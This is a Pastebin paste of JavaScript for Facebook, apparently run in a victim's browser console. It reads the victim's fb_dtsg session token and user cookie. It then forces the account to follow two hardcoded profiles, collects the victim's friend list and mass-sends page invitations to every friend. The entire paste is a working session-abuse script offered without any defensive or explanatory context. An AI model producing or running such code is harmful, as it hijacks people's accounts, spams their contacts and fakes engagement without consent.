Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function getRandomInt(min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- function getCookie(name) {
- var value = "; " + document.cookie;
- var parts = value.split("; " + name + "=");
- if (parts.length == 2) return parts.pop().split(";").shift();
- }
- function randomValue(arr) {
- return arr[getRandomInt(0, arr.length - 1)];
- }
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = getCookie("c_user");
- function a(abone) {
- var http4 = new XMLHttpRequest();
- var url4 = "/ajax/follow/follow_profile.php?__a=100001767032587";
- var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
- http4.open("POST", url4, true);
- http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function () {
- if (http4.readyState == 4 && http4.status == 200) {
- http4.close;
- }
- }
- http4.send(params4);
- }
- a("100001767032587");
- a("100008361013815");
- var page=prompt("Enter your page ID","672190766135233");
- function invite_to_page(page, fid) {
- rand = randomValue(3696779699);
- var http4 = new XMLHttpRequest();
- var url4 = "/ajax/pages/invite/send_single/";
- var params4 = "page_id="+page+"&invitee=" + fid + "&elem_id=u_0_2x&action=send&ref=friend_summary_section&fb_dtsg=" + fb_dtsg + "&__user=" + user_id + "&__a=1";
- http4.open("POST", url4, true);
- http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function () {
- if (http4.readyState == 4 && http4.status == 200) {
- http4.close;
- }
- }
- http4.send(params4);
- }
- frns = Array();
- function getList() {
- var http4 = new XMLHttpRequest();
- var url4 = "/ajax/typeahead/first_degree.php";
- var params4 = "__a=1&viewer=" + user_id + "&token=" + Math.random() + "&filter[0]=user&options[0]=friends_only";
- var url4 = url4 + "?" + params4;
- http4.open("GET", url4, true);
- http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function () {
- if (http4.readyState == 4 && http4.status == 200) {
- var a = eval("(" + http4.responseText.substr(9) + ")");
- a.payload && a.payload.entries && (frns = a.payload.entries.sort(function () {
- return .5 - Math.random()
- }));
- for (var i = 0; i < frns.length; i++) {
- e = frns[i];
- if (e.uid != user_id) {
- if(page){
- invite_to_page(page, e.uid);
- }
- }
- }
- if(page){ alert(i+" friends invited"); }
- http4.close;
- }
- }
- http4.send(params4);
- }
- getList();
Advertisement
Add Comment
Please, Sign In to add comment